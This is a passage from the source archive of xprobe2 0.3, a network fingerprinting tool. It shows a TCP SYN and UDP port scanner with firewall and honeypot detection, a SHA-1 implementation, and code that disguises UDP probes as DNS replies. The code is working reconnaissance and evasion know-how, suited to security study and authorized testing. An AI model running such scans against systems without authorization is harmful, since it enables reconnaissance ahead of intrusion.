ui->msg("%-s\t", "N/A"); } else ui->msg("N/A\t"); ui->msg("\n"); xml->log(XPROBELOG_MSG_PORT, "%n%p%t%s", m_i->first, IPPROTO_UDP, m_i->second, (serv != NULL && serv->s_name != NULL) ? serv->s_name: "N/A"); } //XXX: ugly fix later if (tcp_ignore_state == XPROBE_TARGETP_OPEN || tcp_ignore_state == XPROBE_TARGETP_CLOSED || tcp_ignore_state == XPROBE_TARGETP_FILTERED) { ui->msg("[+] Other TCP ports are in "); if (tcp_ignore_state == XPROBE_TARGETP_OPEN) ui->msg("open"); if (tcp_ignore_state == XPROBE_TARGETP_CLOSED) ui->msg("closed"); if (tcp_ignore_state == XPROBE_TARGETP_FILTERED) ui->msg("filtered"); ui->msg(" state.\n"); xml->log(XPROBELOG_OTHER_TCPP, "%s", tcp_ignore_state); } if (udp_ignore_state == XPROBE_TARGETP_OPEN || udp_ignore_state == XPROBE_TARGETP_CLOSED || udp_ignore_state == XPROBE_TARGETP_FILTERED) { ui->msg("[+] Other UDP ports are in "); if (udp_ignore_state == XPROBE_TARGETP_OPEN) ui->msg("open"); if (udp_ignore_state == XPROBE_TARGETP_CLOSED) ui->msg("closed"); if (udp_ignore_state == XPROBE_TARGETP_FILTERED) ui->msg("filtered"); ui->msg(" state.\n"); xml->log(XPROBELOG_OTHER_UDPP, "%s", tcp_ignore_state); } xml->log(XPROBELOG_PSDET_SESS_END, "end of portscan details"); xml->log(XPROBELOG_PS_SESS_END, "end of portscan"); // ok now we need to save this data into Target object tg->set_tcp_ports(&tcp_ports); tg->set_udp_ports(&udp_ports); // tg->set_udp_ports(&udp_ports); if (sigaction(SIGCHLD, &oact, NULL)) { ui->error("Portscanner::sigaction failed!\n"); return FAIL; } if (copts->analyze_packets()) { for (multimap_iter iter = packet_samples.begin(); iter != packet_samples.end(); iter++) { xprobe_debug(XPROBE_DEBUG_MODULES, "Sample #%d (count=%d):\n%s", k, iter->second.get_counter(), ((iter->second.get_pack()).to_string()).c_str()); k++; } analyze_packets(); } return OK; } int Portscanner::fini(void) { xprobe_debug(XPROBE_DEBUG_MODULES, "%s module has been deinitilized\n", get_name()); return OK; } int Portscanner::send_packets(Target *tg) { struct in_addr remote=tg->get_addr(), local=tg->get_interface_addr(); TCP tcpp(inet_ntoa(remote)); UDP udpp(inet_ntoa(remote)); unsigned int k, seq, j=0; //, onestar, percent=0; unsigned short dport,sport; unsigned char digest[20]; xp_SHA1 sha; struct _shainput { struct in_addr src; struct in_addr dst; u_short sport; u_short dport; } shainput; if (tg->get_delay()) send_delay.usec(tg->get_delay()); else send_delay = copts->get_send_delay(); memset(&shainput, 0, sizeof(shainput)); shainput.src.s_addr = local.s_addr; shainput.dst.s_addr = remote.s_addr; tcpp.set_src(inet_ntoa(local)); tcpp.set_flags(TH_SYN); tcpp.set_ack(0); tcpp.set_win(5840); tcpp.set_ttl(64); srand(time(NULL)); udpp.set_src(inet_ntoa(local)); udpp.set_ttl(64); udpp.set_id(rand()); for (k=0; k < udpport.size(); k++) { while(!udpport[k].get_next(&dport)) { if (send_delay.microsec()) usleep(send_delay.microsec()); udpp.set_id(rand()); udpp.set_dstport(dport); /* XXX: bug in libusi++ */ udpp.set_udpsum(0); shainput.sport = 0; shainput.dport = udpp.get_dstport(); sha.get_digest(digest,(const u_char *) &shainput, sizeof(shainput)); // XXX: shouldn't be messing w/ int's on that level memcpy(&sport, digest, sizeof(sport)); udpp.set_srcport(sport); udpp.sendpack(""); } } /* XXX: check that fflush() stuff overhead and * maybe find a better solution */ /* onestar = tcpportnum / 100; ui->msg("[+] TCP portscan progress: "); fflush(stdout); */ for (k=0; k < tcpport.size(); k++) { while(!tcpport[k].get_next(&dport)) { /* if (j >= onestar) { percent+=1; ui->msg("\b\b\b%.2d%%", percent); j=0; fflush(stdout); } */ usleep(send_delay.microsec()); //if (send_delay.microsec()) usleep(send_delay.microsec()); tcpp.set_id(rand()); tcpp.set_tcpsum(0); // recalc tcp checksum tcpp.set_srcport(rand() + 1024); tcpp.set_dstport(dport); shainput.sport = tcpp.get_srcport(); shainput.dport = tcpp.get_dstport(); sha.get_digest(digest,(const u_char *) &shainput, sizeof(shainput)); // XXX: shouldn't be messing w/ int's on that level memcpy(&seq, digest, sizeof(seq)); tcpp.set_seq(seq); tcpp.sendpack(""); j++; } } /* ui->msg("\n"); fflush(stdout); */ exit (OK); } int Portscanner::receive_packets(Target *tg) { /* unsigned int tcpportnum = 0, udpportnum = 0, k; for (k=0; k < tcpport.size(); k++) tcpportnum += tcpport[k].size(); for (k=0; k < udpport.size(); k++) udpportnum += udpport[k].size(); */ int ret, done=0; //XXX: Modify timeout here Xprobe::Timeval timeout = (double)(tg->get_rtt() * 2 + (((double)copts->get_send_delay() + 0.01) * (tcpportnum + udpportnum))); Xprobe::Timeval tv; unsigned int seq, optlen; unsigned short sport; struct in_addr remote=tg->get_addr(), local=tg->get_interface_addr(); Xprobe::Timeval start; char payload[1024], *tcp_options; unsigned char digest[20]; IP sn(inet_ntoa(local), IPPROTO_IP); TCP tcp_packet("127.0.0.1"); struct ip *iph; struct usipp::tcphdr *tcph; struct usipp::udphdr *udph; struct usipp::icmphdr *icmph; xp_SHA1 sha; struct _shainput { struct in_addr src; struct in_addr dst; u_short sport; u_short dport; } shainput; memset(&shainput, 0, sizeof(shainput)); sn.init_device(tg->get_interface(), 0, 1500); tv = tg->get_rtt(); //sn.timeout(tv); start = Xprobe::Timeval::gettimeofday(); /* libUSI needs a major redesign. So hard to demultiplex packets of * different protocol */ while (!done) { ret = sn.sniffpack(payload, sizeof(payload)); if (!sn.timeout()) { if (sn.get_proto() == IPPROTO_TCP) { /* should be objects iph and tcph respectively */ /* create tcp_packet */ tcp_packet.set_iphdr(sn.get_iphdr()); tcph = (struct usipp::tcphdr *)(payload); tcp_packet.set_tcphdr(*tcph); optlen = (tcph->th_off<<2) - sizeof(struct usipp::tcphdr); if (optlen > 0) { tcp_options = payload + sizeof(struct usipp::tcphdr); tcp_packet.set_tcpopt(tcp_options, optlen); } shainput.src.s_addr = sn.get_dst(); shainput.dst.s_addr = sn.get_src(); /* should be Object TCP and method get->tcph here, do it in * C way for now */ //shainput.sport = ntohs(tcph->th_dport); //shainput.dport = ntohs(tcph->th_sport); shainput.sport = tcp_packet.get_dstport(); shainput.dport = tcp_packet.get_srcport(); sha.get_digest(digest,(const u_char *) &shainput, sizeof(shainput)); memcpy(&seq, digest, sizeof(seq)); //if (seq == ntohl(tcph->th_ack) - 1) { if (seq == tcp_packet.get_ack() - 1) { /* should be an object too */ //if ((tcph->th_flags & (TH_SYN|TH_ACK)) == (TH_SYN|TH_ACK)) { if ((tcp_packet.get_flags() & (TH_SYN|TH_ACK)) == (TH_SYN|TH_ACK)) { tcp_ports.insert(pair(tcp_packet.get_srcport(), XPROBE_TARGETP_OPEN)); tcpopen++; //} else if (tcph->th_flags & TH_RST) { } else if (tcp_packet.get_flags() & TH_RST) { tcp_ports.insert(pair(tcp_packet.get_srcport(), XPROBE_TARGETP_CLOSED)); tcpclosed++; } if (copts->analyze_packets()) analyze_packet(tcp_packet); } tcp_packet.reset_tcpopt(); } else if (sn.get_proto() == IPPROTO_ICMP) { /* should be objects iph and tcph respectively */ //iph = (struct ip *)payload; icmph = (struct usipp::icmphdr *)((char *)payload); if (icmph->type == ICMP_DEST_UNREACH && icmph->code == ICMP_PORT_UNREACH) { // THIS IS LAME SHIT.. fix later! iph = (struct ip *)((char *)icmph + sizeof(struct usipp::icmphdr)); udph = (struct udphdr *)((char *)iph + sizeof(struct ip)); shainput.src.s_addr = sn.get_dst(); shainput.dst.s_addr = sn.get_src(); shainput.dport = ntohs(udph->dest); shainput.sport = 0; sha.get_digest(digest,(const u_char *) &shainput, sizeof(shainput)); memcpy(&sport, digest, sizeof(sport)); if (sport == ntohs(udph->source)) { udp_ports.insert(pair(ntohs(udph->dest), XPROBE_TARGETP_CLOSED)); udpclosed++; } } } else if (sn.get_proto() == IPPROTO_UDP) { /* should be objects iph and tcph respectively */ udph = (struct udphdr *)(payload); shainput.src.s_addr = sn.get_dst(); shainput.dst.s_addr = sn.get_src(); shainput.dport = ntohs(udph->source); shainput.sport = 0; sha.get_digest(digest,(const u_char *) &shainput, sizeof(shainput)); memcpy(&sport, digest, sizeof(sport)); if (sport == ntohs(udph->dest)) { udp_ports.insert(pair(ntohs(udph->source), XPROBE_TARGETP_OPEN)); udpopen++; } } } // if (done_sending && start == 0) // start = time(NULL); if (tcpportnum != 0 && (unsigned)(tcpopen + tcpclosed) == tcpportnum) // all responses received done = 1; if (tcpportnum == 0 && (unsigned)(udpopen + udpclosed) == udpportnum) // all responses received done = 1; if (done_sending) { if (((double)Xprobe::Timeval::gettimeofday()-(double)start) > (double)timeout) done=1; //printf("tcp open: %d closed %d portnum %d\n", tcpopen, tcpclosed, portnum); //printf("exit by timeout %.2f - %.2f = %.2f > %.2f\n", //(double)Xprobe::Timeval::gettimeofday(), //(double)start, //(double)Xprobe::Timeval::gettimeofday() - (double)start, //(double)timeout); } } return OK; } char Portscanner::get_ignore_state(int proto) { char retval = 0; switch(proto) { case IPPROTO_TCP: if (!tcpopen && !tcpclosed && !tcpfiltered) return 255; if (tcpopen > tcpclosed) { retval = XPROBE_TARGETP_OPEN; if (tcpfiltered > tcpopen) { retval = XPROBE_TARGETP_FILTERED; } } else if (tcpclosed > tcpfiltered){ retval = XPROBE_TARGETP_CLOSED; } else { retval = XPROBE_TARGETP_FILTERED; } break; case IPPROTO_UDP: if (!udpopen && !udpclosed && !udpfiltered) return 255; if (udpopen > udpclosed) { retval = XPROBE_TARGETP_OPEN; if (udpfiltered > udpopen) { retval = XPROBE_TARGETP_FILTERED; } } else if (udpclosed > udpfiltered){ retval = XPROBE_TARGETP_CLOSED; } else { retval = XPROBE_TARGETP_FILTERED; } break; } return retval; } /* initialization function */ int portscan_mod_init(Xprobe_Module_Hdlr *pt, char *nm) { Portscanner *port_scan= new Portscanner; port_scan->set_name(nm); xprobe_mdebug(XPROBE_DEBUG_MODULES, "Initializing the portscanning module\n"); pt->register_module(port_scan); return OK; } int Portscanner::analyze_packet(TCP& packet) { int packet_class = -1; packet_sample psample; bool got_same_sample=false; pair irange; if (packet.get_flags() & TH_RST) packet_class = TH_RST; else if (packet.get_flags() & (TH_SYN|TH_ACK)) packet_class = TH_SYN|TH_ACK; irange = packet_samples.equal_range(packet_class); for (multimap_iter iter = irange.first; iter != irange.second; ++iter) { if (packet == iter->second.get_pack()) { iter->second.incr(); got_same_sample=true; } } if (!got_same_sample) { psample.set_pack(packet); psample.incr(); packet_samples.insert(pair(packet_class, psample)); } return OK; } void Portscanner::analyze_packets(void) { pair irange; int packet_class, counter=0; bool detected=false; /* * only two packet classes for now, RST and SYN|ACK */ packet_class = TH_RST; /* * do we have more than 1 sample packet of the same type? */ if (packet_samples.count(packet_class) > 1) { detected=true; ui->msg("[+] Possible firewall/NIDS configured to reply/reset with RST packets as\n"); ui->msg("[+] variation in packets of the same class (RST) was detected:\n"); irange = packet_samples.equal_range(packet_class); for (multimap_iter iter = irange.first; iter != irange.second; ++iter) { ui->msg("[Sample #%d]\n%s", counter++, iter->second.get_pack().to_string().c_str()); } } packet_class = TH_SYN|TH_ACK; counter = 0; if (packet_samples.count(packet_class) > 1) { detected=true; ui->msg("[+] Possible transparent proxy/honeypot detected as\n"); ui->msg("[+] variation in packets of the same class (SYN|ACK) was detected:\n"); irange = packet_samples.equal_range(packet_class); for (multimap_iter iter = irange.first; iter != irange.second; ++iter) { ui->msg("[Sample #%d]\n%s", counter++, iter->second.get_pack().to_string().c_str()); } } } xprobe2-0.3/src/xpmodules/alive_probe/portscanner/portscanner.h000755 001751 000000 00000004612 10271643770 025343 0ustar00mederwheel000000 000000 /* ** Copyright (C) 2003 Meder Kydyraliev ** Copyright (C) 2001 Fyodor Yarochkin , ** Ofir Arkin ** ** This program is free software; you can redistribute it and/or modify ** it under the terms of the GNU General Public License as published by ** the Free Software Foundation; either version 2 of the License, or ** (at your option) any later version. ** ** ** This program is distributed in the hope that it will be useful, ** but WITHOUT ANY WARRANTY; without even the implied warranty of ** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ** GNU General Public License for more details. ** ** You should have received a copy of the GNU General Public License ** along with this program; if not, write to the Free Software ** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef PORTSCAN_MOD_H #define PORTSCAN_MOD_H #include "xprobe.h" #include "xprobe_module.h" #define TIMEOUT 2 #define LISTENTIMEOUT 1 class Portscanner: public Xprobe_Module { private: class packet_sample { private: TCP pack; int counter; public: packet_sample(void) { counter = 0; /*pack = NULL;*/ } void incr(void) { counter++; } void set_pack(TCP _pack) { pack = _pack; } TCP get_pack(void) { return pack; } int get_counter(void) { return counter; } }; Xprobe::Timeval send_delay; int tcpopen, tcpclosed, tcpfiltered; int udpopen, udpclosed, udpfiltered; unsigned int tcpportnum, udpportnum; int send_packets(Target *); int receive_packets(Target *); map tcp_ports; map udp_ports; vector tcpport; vector udpport; multimap packet_samples; char get_ignore_state(int proto); int analyze_packet(TCP&); void analyze_packets(void); typedef multimap::iterator multimap_iter; public: Portscanner(void) : Xprobe_Module(XPROBE_MODULE_INFOGATHER, "infogather:portscan", "TCP and UDP PortScanner") { send_delay=tcpopen=tcpclosed=tcpfiltered=udpopen=udpclosed=udpfiltered=tcpportnum=udpportnum=0; } ~Portscanner(void) { return; } int init(void); int parse_keyword(int, const char *, const char *) { return OK; } int exec(Target *, OS_Matrix *); int fini(void); }; #endif /* TEST_MOD_H */ xprobe2-0.3/src/xpmodules/alive_probe/portscanner/sha1.cc000755 001751 000000 00000013017 10271643770 023776 0ustar00mederwheel000000 000000 /* ** Copyright (C) 2003 Meder Kydyraliev ** Copyright (C) 2001 Fyodor Yarochkin , ** Ofir Arkin ** ** This program is free software; you can redistribute it and/or modify ** it under the terms of the GNU General Public License as published by ** the Free Software Foundation; either version 2 of the License, or ** (at your option) any later version. ** ** ** This program is distributed in the hope that it will be useful, ** but WITHOUT ANY WARRANTY; without even the implied warranty of ** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ** GNU General Public License for more details. ** ** You should have received a copy of the GNU General Public License ** along with this program; if not, write to the Free Software ** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ /* $OpenBSD: sha1.c,v 1.10 2002/12/23 04:33:31 millert Exp $ */ /* * SHA-1 in C * By Steve Reid * 100% Public Domain * * Test Vectors (from FIPS PUB 180-1) * "abc" * A9993E36 4706816A BA3E2571 7850C26C 9CD0D89D * "abcdbcdecdefdefgefghfghighijhijkijkljklmklmnlmnomnopnopq" * 84983E44 1C3BD26E BAAE4AA1 F95129E5 E54670F1 * A million repetitions of "a" * 34AA973C D4C4DAA4 F61EEB2B DBAD2731 6534016F */ #define SHA1HANDSOFF /* Copies data before messing with it. */ #include #include #include #include "sha1.h" /* * Hash a single 512-bit block. This is the core of the algorithm. */ void SHA1::SHA1Transform(u_int32_t state[5], const u_char buffer[64]) { u_int32_t a, b, c, d, e; typedef union { u_char c[64]; u_int l[16]; } CHAR64LONG16; CHAR64LONG16 *block; #ifdef SHA1HANDSOFF static u_char workspace[64]; block = (CHAR64LONG16 *)workspace; (void)memcpy(block, buffer, 64); #else block = (CHAR64LONG16 *)buffer; #endif /* Copy context->state[] to working vars */ a = state[0]; b = state[1]; c = state[2]; d = state[3]; e = state[4]; /* 4 rounds of 20 operations each. Loop unrolled. */ R0(a,b,c,d,e, 0); R0(e,a,b,c,d, 1); R0(d,e,a,b,c, 2); R0(c,d,e,a,b, 3); R0(b,c,d,e,a, 4); R0(a,b,c,d,e, 5); R0(e,a,b,c,d, 6); R0(d,e,a,b,c, 7); R0(c,d,e,a,b, 8); R0(b,c,d,e,a, 9); R0(a,b,c,d,e,10); R0(e,a,b,c,d,11); R0(d,e,a,b,c,12); R0(c,d,e,a,b,13); R0(b,c,d,e,a,14); R0(a,b,c,d,e,15); R1(e,a,b,c,d,16); R1(d,e,a,b,c,17); R1(c,d,e,a,b,18); R1(b,c,d,e,a,19); R2(a,b,c,d,e,20); R2(e,a,b,c,d,21); R2(d,e,a,b,c,22); R2(c,d,e,a,b,23); R2(b,c,d,e,a,24); R2(a,b,c,d,e,25); R2(e,a,b,c,d,26); R2(d,e,a,b,c,27); R2(c,d,e,a,b,28); R2(b,c,d,e,a,29); R2(a,b,c,d,e,30); R2(e,a,b,c,d,31); R2(d,e,a,b,c,32); R2(c,d,e,a,b,33); R2(b,c,d,e,a,34); R2(a,b,c,d,e,35); R2(e,a,b,c,d,36); R2(d,e,a,b,c,37); R2(c,d,e,a,b,38); R2(b,c,d,e,a,39); R3(a,b,c,d,e,40); R3(e,a,b,c,d,41); R3(d,e,a,b,c,42); R3(c,d,e,a,b,43); R3(b,c,d,e,a,44); R3(a,b,c,d,e,45); R3(e,a,b,c,d,46); R3(d,e,a,b,c,47); R3(c,d,e,a,b,48); R3(b,c,d,e,a,49); R3(a,b,c,d,e,50); R3(e,a,b,c,d,51); R3(d,e,a,b,c,52); R3(c,d,e,a,b,53); R3(b,c,d,e,a,54); R3(a,b,c,d,e,55); R3(e,a,b,c,d,56); R3(d,e,a,b,c,57); R3(c,d,e,a,b,58); R3(b,c,d,e,a,59); R4(a,b,c,d,e,60); R4(e,a,b,c,d,61); R4(d,e,a,b,c,62); R4(c,d,e,a,b,63); R4(b,c,d,e,a,64); R4(a,b,c,d,e,65); R4(e,a,b,c,d,66); R4(d,e,a,b,c,67); R4(c,d,e,a,b,68); R4(b,c,d,e,a,69); R4(a,b,c,d,e,70); R4(e,a,b,c,d,71); R4(d,e,a,b,c,72); R4(c,d,e,a,b,73); R4(b,c,d,e,a,74); R4(a,b,c,d,e,75); R4(e,a,b,c,d,76); R4(d,e,a,b,c,77); R4(c,d,e,a,b,78); R4(b,c,d,e,a,79); /* Add the working vars back into context.state[] */ state[0] += a; state[1] += b; state[2] += c; state[3] += d; state[4] += e; /* Wipe variables */ a = b = c = d = e = 0; } /* * SHA1Init - Initialize new context */ void SHA1::SHA1Init(SHA1_CTX *context) { /* SHA1 initialization constants */ context->state[0] = 0x67452301; context->state[1] = 0xEFCDAB89; context->state[2] = 0x98BADCFE; context->state[3] = 0x10325476; context->state[4] = 0xC3D2E1F0; context->count[0] = context->count[1] = 0; } /* * Run your data through this. */ void SHA1::SHA1Update(SHA1_CTX *context, const u_char *data, u_int len) { u_int i, j; j = context->count[0]; if ((context->count[0] += len << 3) < j) context->count[1] += (len>>29)+1; j = (j >> 3) & 63; if ((j + len) > 63) { (void)memcpy(&context->buffer[j], data, (i = 64-j)); SHA1Transform(context->state, context->buffer); for ( ; i + 63 < len; i += 64) SHA1Transform(context->state, &data[i]); j = 0; } else { i = 0; } (void)memcpy(&context->buffer[j], &data[i], len - i); } /* * Add padding and return the message digest. */ void SHA1::SHA1Final(u_char digest[20], SHA1_CTX *context) { u_int i; u_char finalcount[8]; for (i = 0; i < 8; i++) { finalcount[i] = (u_char)((context->count[(i >= 4 ? 0 : 1)] >> ((3-(i & 3)) * 8) ) & 255); /* Endian independent */ } SHA1Update(context, (const u_char *)"\200", 1); while ((context->count[0] & 504) != 448) SHA1Update(context, (const u_char *)"\0", 1); SHA1Update(context, finalcount, 8); /* Should cause a SHA1Transform() */ if (digest) { for (i = 0; i < 20; i++) digest[i] = (u_char) ((context->state[i>>2] >> ((3-(i & 3)) * 8) ) & 255); } } int SHA1::get_digest(u_char digest[20], const u_char *data, u_int len) { SHA1_CTX cntxt; SHA1Init(&cntxt); SHA1Update(&cntxt, data, len); SHA1Final(digest, &cntxt); return 0; } xprobe2-0.3/src/xpmodules/alive_probe/portscanner/sha1.h000755 001751 000000 00000006733 10271643770 023647 0ustar00mederwheel000000 000000 /* ** ** Copyright (C) 2003 Meder Kydyraliev ** Copyright (C) 2001, 2002, 2003 Fyodor Yarochkin , ** Ofir Arkin ** ** This program is free software; you can redistribute it and/or modify ** it under the terms of the GNU General Public License as published by ** the Free Software Foundation; either version 2 of the License, or ** (at your option) any later version. ** ** ** This program is distributed in the hope that it will be useful, ** but WITHOUT ANY WARRANTY; without even the implied warranty of ** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ** GNU General Public License for more details. ** ** You should have received a copy of the GNU General Public License ** along with this program; if not, write to the Free Software ** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ /* $OpenBSD: sha1.h,v 1.11 2002/12/23 04:33:31 millert Exp $ */ /* * SHA-1 in C * By Steve Reid * 100% Public Domain */ #ifndef SHA1_H #define SHA1_H class SHA1 { private: typedef struct { u_int32_t state[5]; u_int32_t count[2]; u_char buffer[64]; } SHA1_CTX; void SHA1Transform(u_int32_t state[5], const u_char buffer[64]); void SHA1Init(SHA1_CTX *context); void SHA1Update(SHA1_CTX *context, const u_char *data, u_int len); void SHA1Final(u_char digest[20], SHA1_CTX *context); char *SHA1End(SHA1_CTX *, char *); char *SHA1File(char *, char *); char *SHA1Data(const u_char *, size_t, char *); public: int get_digest(u_char digest[20], const u_char *data, u_int len); }; #define SHA1_DIGESTSIZE 20 #define SHA1_BLOCKSIZE 64 #define HTONDIGEST(x) do { \ x[0] = htonl(x[0]); \ x[1] = htonl(x[1]); \ x[2] = htonl(x[2]); \ x[3] = htonl(x[3]); \ x[4] = htonl(x[4]); } while (0) #define NTOHDIGEST(x) do { \ x[0] = ntohl(x[0]); \ x[1] = ntohl(x[1]); \ x[2] = ntohl(x[2]); \ x[3] = ntohl(x[3]); \ x[4] = ntohl(x[4]); } while (0) #define rol(value, bits) (((value) << (bits)) | ((value) >> (32 - (bits)))) /* * blk0() and blk() perform the initial expand. * I got the idea of expanding during the round function from SSLeay */ #if BYTE_ORDER == LITTLE_ENDIAN # define blk0(i) (block->l[i] = (rol(block->l[i],24)&0xFF00FF00) \ |(rol(block->l[i],8)&0x00FF00FF)) #else # define blk0(i) block->l[i] #endif #define blk(i) (block->l[i&15] = rol(block->l[(i+13)&15]^block->l[(i+8)&15] \ ^block->l[(i+2)&15]^block->l[i&15],1)) /* * (R0+R1), R2, R3, R4 are the different operations (rounds) used in SHA1 */ #define R0(v,w,x,y,z,i) z+=((w&(x^y))^y)+blk0(i)+0x5A827999+rol(v,5);w=rol(w,30); #define R1(v,w,x,y,z,i) z+=((w&(x^y))^y)+blk(i)+0x5A827999+rol(v,5);w=rol(w,30); #define R2(v,w,x,y,z,i) z+=(w^x^y)+blk(i)+0x6ED9EBA1+rol(v,5);w=rol(w,30); #define R3(v,w,x,y,z,i) z+=(((w|x)&y)|(w&x))+blk(i)+0x8F1BBCDC+rol(v,5);w=rol(w,30); #define R4(v,w,x,y,z,i) z+=(w^x^y)+blk(i)+0xCA62C1D6+rol(v,5);w=rol(w,30); #endif /* SHA1_H */ xprobe2-0.3/src/xpmodules/alive_probe/ttl_calc000755 001751 000000 00000000000 10271644025 021770 5ustar00mederwheel000000 000000 xprobe2-0.3/src/xpmodules/alive_probe/ttl_calc/getrandom.cc000755 001751 000000 00000000447 10271643770 024354 0ustar00mederwheel000000 000000 #include "ttl_calc.h" int TTL_Mod::getrandom(int limit) { int rnum; #ifdef OpenBSD arc4random(); rnum = 1+arc4random()%limit; return rnum; #endif struct timeval tp; struct timezone tzp; gettimeofday(&tp, &tzp); srand(tp.tv_usec); rnum=1+rand()%limit; return rnum; } xprobe2-0.3/src/xpmodules/alive_probe/ttl_calc/build_DNS_reply.cc000755 001751 000000 00000003567 10271643770 025420 0ustar00mederwheel000000 000000 #include "ttl_calc.h" #include "util.h" /* build_DNS_reply builds a payload for the UDP packet * so that it apears to be a DNS reply for www.securityfocus.com */ extern Interface *ui; void TTL_Mod::build_DNS_reply (u_char *packet) { struct DNSHEADER *dnsh; struct hostent *hostip; struct in_addr secfocip; u_char *localpacket = packet; if ((hostip = gethostbyname(DNSMASQUERADE)) == NULL) { ui->error("[-] icmp_port_unreach::build_DNS_reply(): gethostbyname() failed! Using static ip for www.securityfocus.com in UDP probe\n"); inet_aton("205.206.231.10", &secfocip); } else memcpy (&secfocip, hostip->h_addr, hostip->h_length); #if BYTE_ORDER == LITTLE_ENDIAN u_short one = htons(1); #else u_short one = 1; #endif dnsh = (struct DNSHEADER *) localpacket; dnsh->id = getrandom(U_SHORTMAX); dnsh->qr = 1; dnsh->opcode = 0; dnsh->aa = 0; dnsh->tc = 0; dnsh->rd = 1; dnsh->ra = 1; dnsh->cd = 1; dnsh->ad = 1; dnsh->rcode = 0; dnsh->qdcount = htons(1); dnsh->ancount = htons(1); dnsh->nscount = 0; dnsh->arcount = 0; localpacket+=12; memcpy (localpacket, DNSREPLYSTRING, DNSREPLYLEN); localpacket+=DNSREPLYLEN; memcpy(localpacket, &one, 2); localpacket+=2; memcpy(localpacket, &one, 2); localpacket+=2; memcpy (localpacket, DNSREPLYSTRING, DNSREPLYLEN); localpacket+=DNSREPLYLEN; memcpy(localpacket, &one, 2); localpacket+=2; memcpy(localpacket, &one, 2); localpacket+=2; one=0xffff; memcpy(localpacket, &one, 4); localpacket+=4; one=4; memcpy(localpacket, &one, 2); localpacket+=2; // inet_aton("66.38.151.10",&dnsh->replydata); dnsh->replydata = secfocip; } /* END OF BUILD_DNS_REPLY */ xprobe2-0.3/src/xpmodules/alive_probe/ttl_calc/ttl_calc.h000755 001751 000000 00000003453 10271643770 024023 0ustar00mederwheel000000 000000 /* $Id: ttl_calc.h,v 1.3 2003/08/05 03:35:12 mederchik Exp $ */ /* ** Copyright (C) 2001, 2002 Meder Kydyraliev ** ** Copyright (C) 2001 Fyodor Yarochkin , ** Ofir Arkin ** ** This program is free software; you can redistribute it and/or modify ** it under the terms of the GNU General Public License as published by ** the Free Software Foundation; either version 2 of the License, or ** (at your option) any later version. ** ** ** This program is distributed in the hope that it will be useful, ** but WITHOUT ANY WARRANTY; without even the implied warranty of ** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ** GNU General Public License for more details. ** ** You should have received a copy of the GNU General Public License ** along with this program; if not, write to the Free Software ** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef TTL_MOD_H #define TTL_MOD_H #include "xprobe.h" #include "usi++/usi++.h" #include #include "xprobe_module.h" #include "xprobe_module_hdlr.h" #include "interface.h" #define _XPROBE_MODULE #include "xplib.h" #ifndef __USE_BSD #define __USE_BSD #endif #ifndef __FAVOR_BSD #define __FAVOR_BSD #endif class TTL_Mod: public Xprobe_Module { private: int sock; int get_ttl_distance (Target *); void build_DNS_reply (u_char *); int getrandom(int limit); public: /* constructor */ TTL_Mod(void) : Xprobe_Module(XPROBE_MODULE_ALIVETEST, "infogather:ttl_calc", "TCP and UDP based TTL distance calculation") { return; } /* destructor */ ~TTL_Mod(void) { return; } int init(void); int parse_keyword(int, const char *, const char *); int exec(Target *, OS_Matrix *); int fini(void); }; #endif xprobe2-0.3/src/xpmodules/alive_probe/ttl_calc/util.h000755 001751 000000 00000011070 10271643770 023205 0ustar00mederwheel000000 000000 /* $Id: util.h,v 1.4 2003/04/22 20:00:50 fygrave Exp $ */ /* ** Copyright (C) 2001, 2002 Meder Kydyraliev ** ** Copyright (C) 2001 Fyodor Yarochkin , ** Ofir Arkin ** ** This program is free software; you can redistribute it and/or modify ** it under the terms of the GNU General Public License as published by ** the Free Software Foundation; either version 2 of the License, or ** (at your option) any later version. ** ** ** This program is distributed in the hope that it will be useful, ** but WITHOUT ANY WARRANTY; without even the implied warranty of ** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ** GNU General Public License for more details. ** ** You should have received a copy of the GNU General Public License ** along with this program; if not, write to the Free Software ** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef TTL_PRECALC_H #define TTL_PRECALC_H #include #define DNSREPLYSIZE sizeof(struct ip) + 8 +sizeof(struct DNSHEADER) #define TCPPACKETSIZE sizeof(struct ip) + sizeof (struct tcphdr) #define SA struct sockaddr #define U_CHARMAX 254 #define U_SHORTMAX 65535 #define U_INTMAX 0xffffffffU #define U_DOUBLEMAX 4294967296 #define TRUE 1 #define FALSE 0 #define TIMEOUT 5 #define DEFPORT 80 #define TCPPACKETFLAGS TH_SYN #define TTL_ERROR 3 #define BUFSIZE 1024 #define DNSREPLYSTRING "\003www\015securityfocus\003com" #define DNSMASQUERADE "www.securityfocus.com" #define DNSREPLYLEN sizeof(DNSREPLYSTRING) struct DNSHEADER{ unsigned id :16; /* query identification number */ #if BYTE_ORDER == BIG_ENDIAN /* fields in third byte */ unsigned qr: 1; /* response flag */ unsigned opcode: 4; /* purpose of message */ unsigned aa: 1; /* authoritive answer */ unsigned tc: 1; /* truncated message */ unsigned rd: 1; /* recursion desired */ /* fields in fourth byte */ unsigned ra: 1; /* recursion available */ unsigned unused :1; /* unused bits (MBZ as of 4.9.3a3) */ unsigned ad: 1; /* authentic data from named */ unsigned cd: 1; /* checking disabled by resolver */ unsigned rcode :4; /* response code */ #endif #if BYTE_ORDER == LITTLE_ENDIAN || BYTE_ORDER == PDP_ENDIAN /* fields in third byte */ unsigned rd :1; /* recursion desired */ unsigned tc :1; /* truncated message */ unsigned aa :1; /* authoritive answer */ unsigned opcode :4; /* purpose of message */ unsigned qr :1; /* response flag */ /* fields in fourth byte */ unsigned rcode :4; /* response code */ unsigned cd: 1; /* checking disabled by resolver */ unsigned ad: 1; /* authentic data from named */ unsigned unused :1; /* unused bits (MBZ as of 4.9.3a3) */ unsigned ra :1; /* recursion available */ #endif /* remaining bytes */ unsigned qdcount :16; /* number of question entries */ unsigned ancount :16; /* number of answer entries */ unsigned nscount :16; /* number of 